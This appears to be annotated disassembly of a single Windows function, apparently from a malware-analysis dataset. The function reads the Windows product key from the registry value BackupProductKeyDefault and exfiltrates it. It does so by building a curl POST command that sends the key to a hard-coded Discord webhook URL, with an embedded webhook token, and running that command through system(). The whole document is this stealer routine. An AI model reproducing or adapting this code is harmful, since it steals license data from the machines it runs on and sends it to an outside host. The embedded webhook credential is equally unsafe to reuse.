Function at 0x1400011c0
Capabilities:
Execute command
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x270], rax
xor r14d, r14d
mov dword [rbp - 0x40], 1
mov dword [rbp - 0x48], 0x1fe
lea r8, [rbp - 0x50]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov ebx, eax
test eax, eax
je 0x140001285
lea rdx, str.Failed_to_open_registry_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001cf0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ed0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.1400020b0
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
xor r8d, r8d
lea rdx, str.BackupProductKeyDefault
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test eax, eax
je 0x1400012f2
lea rdx, str.Failed_to_query_registry_value:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001cf0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ed0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001255
mov eax, dword [rbp - 0x48]
and rax, 0xfffffffffffffffe
cmp rax, 0x1fe
jae 0x140001b8a
mov word [rbp + rax + 0x70], r14w
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea rax, [rbp + 0x70]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x140001325
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140001b90
movabs r15, 0x7fffffffffffffff
cmp rbx, 7
ja 0x14000137c
mov qword [rbp - 8], rbx
mov qword [rbp], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx - 0x18], r14w
jmp 0x140001412
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400013c1
lea rcx, [r15 + r15]
cmp rcx, 0x1000
jb 0x1400013e7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b7e
mov rcx, rax
call fcn.140002370
test rax, rax
je 0x140001b6d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400013ef
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, r15
ja 0x140001b7e
add rcx, rcx
jne 0x14000138c
mov rdi, r14
jmp 0x1400013ef
call fcn.140002370
mov rdi, rax
mov qword [rbp - 0x18], rdi
mov qword [rbp - 8], rbx
mov qword [rbp], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x70]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r14w
lea rdx, [rbp - 0x18]
cmp qword [rbp], 7
cmova rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
lea rsi, [rdx + rax*2]
lea rbx, [rbp - 0x18]
cmova rbx, qword [rbp - 0x18]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r14
cmp rbx, rsi
jne 0x140001457
mov rdi, r14
mov r14d, 0xf
mov qword [rbp - 0x20], r14
mov byte [rbp - 0x38], dil
jmp 0x140001554
sub rsi, rbx
sar rsi, 1
mov qword [rbp - 0x20], 0xf
cmp rsi, r15
ja 0x140001b96
mov edi, 0xf
cmp rsi, rdi
jbe 0x14000150c
mov rdi, rsi
or rdi, 0xf
cmp rdi, r15
jbe 0x1400014c3
mov rdi, r15
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002370
mov rcx, rax
test rax, rax
je 0x140001b22
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x20], rdi
jmp 0x140001510
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400014e5
mov rax, r14
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x20], rdi
jmp 0x140001510
cmp rcx, 0x1000
jb 0x1400014fd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b84
jmp 0x140001499
call fcn.140002370
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x20], rdi
jmp 0x140001510
mov rax, qword [rbp - 0x38]
lea r8, [rbp - 0x38]
cmp rdi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, rsi
test rsi, rsi
je 0x140001543
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rbx, [rbx + 2]
sub rdx, 1
jne 0x140001530
mov qword [rbp - 0x28], rsi
mov byte [r8 + rsi], 0
mov r14, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov ecx, 0x80
call fcn.140002370
mov rsi, rax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x38], 0x79
mov r12d, 0x7f
mov qword [rbp + 0x40], r12
movaps xmm0, xmmword [str.https:__discord.com_api_webhooks_1165648728045125653__7iJ4M5BW_BT1fcIP9YB6A0Xx6FxSf3wspjLue7oyNyTXMf_riaOf3y_BmdjVNFH26xC]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140004480]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140004490]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400044a0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400044b0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400044c0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400044d0]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x1400044e0]
movsd qword [rax + 0x70], xmm0
movzx eax, byte [0x1400044e8]
mov byte [rsi + 0x78], al
mov byte [rsi + 0x79], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov ecx, 0x70
call fcn.140002370
mov rbx, rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x58], 0x6a
mov qword [rbp + 0x60], 0x6f
movaps xmm0, xmmword [str.curl__i__H__Accept:_application_json___H__Content_Type:_application_json___X_POST___data___content_:__]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140004500]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140004510]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140004520]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140004530]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140004540]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x140004550]
movsd qword [rax + 0x60], xmm0
movzx eax, word [0x140004558]
mov word [rbx + 0x68], ax
mov byte [rbx + 0x6a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], 5
mov r13d, 0xf
mov qword [rbp + 0x20], r13
mov eax, dword [str.__]
mov dword [rbp + 8], eax
movzx eax, byte [0x140004560]
mov byte [rbp + 0xc], al
mov byte [rbp + 0xd], 0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov ecx, 0x90
call fcn.140002370
mov rcx, rax
mov qword [rsp + 0x70], rax
movdqa xmm0, xmmword [0x140004670]
movdqu xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [rbx + 0x60]
movsd qword [rax + 0x60], xmm0
movzx eax, word [rbx + 0x68]
mov word [rcx + 0x68], ax
movups xmm0, xmmword [str.Windows_activation_key_is:]
movups xmmword [rcx + 0x6a], xmm0
movsd xmm0, qword [0x140004578]
movsd qword [rcx + 0x7a], xmm0
movzx eax, word [0x140004580]
mov word [rcx + 0x82], ax
movzx eax, byte [0x140004582]
mov byte [rcx + 0x84], al
mov byte [rcx + 0x85], 0
lea r9, [rbp - 0x38]
mov r15, qword [rbp - 0x38]
cmp r14, r13
cmova r9, r15
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140001794
lea rax, [rdi + rcx]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rdx, r13
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rsp + 0x70]
jmp 0x1400017ae
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140001f10
mov r14, qword [rbp - 0x20]
mov r15, qword [rbp - 0x38]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14000182f
lea rax, [rcx + 5]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8d, 5
lea rdx, [rbp + 8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], dil
lea rax, [rsp + 0x50]
jmp 0x14000184f
mov qword [rsp + 0x20], 5
lea r9, [rbp + 8]
mov edx, 5
lea rcx, [rsp + 0x50]
call fcn.140001f10
mov r13, qword [rbp + 0x20]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x79
jb 0x1400018cd
lea rax, [rcx + 0x79]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x79
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x79], 0
lea rax, [rsp + 0x30]
jmp 0x1400018f0
mov qword [rsp + 0x20], 0x79
mov r9, rsi
mov edx, 0x79
lea rcx, [rsp + 0x30]
call fcn.140001f10
mov r12, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000196f
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000196a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000196a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
movdqa xmm0, xmmword [0x140004660]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400019c8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
movdqa xmm0, xmmword [0x140004660]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001a1b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
movdqa xmm0, xmmword [0x140004660]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001a65
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
cmp r13, 0xf
jbe 0x140001aac
lea rdx, [r13 + 1]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aa6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
nop
mov edx, 0x70
mov rcx, qword [rbp + 0x48]
call fcn.1400023ac
nop
cmp r12, 0xf
jbe 0x140001af7
lea rdx, [r12 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001aee
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400023ac
nop
cmp r14, 0xf
jbe 0x140001b32
lea rdx, [r14 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001b29
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400023ac
nop
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140001255
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
jmp 0x140001255
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.1400021d8
int3
call fcn.1400011a0
nop
call fcn.1400011a0
int3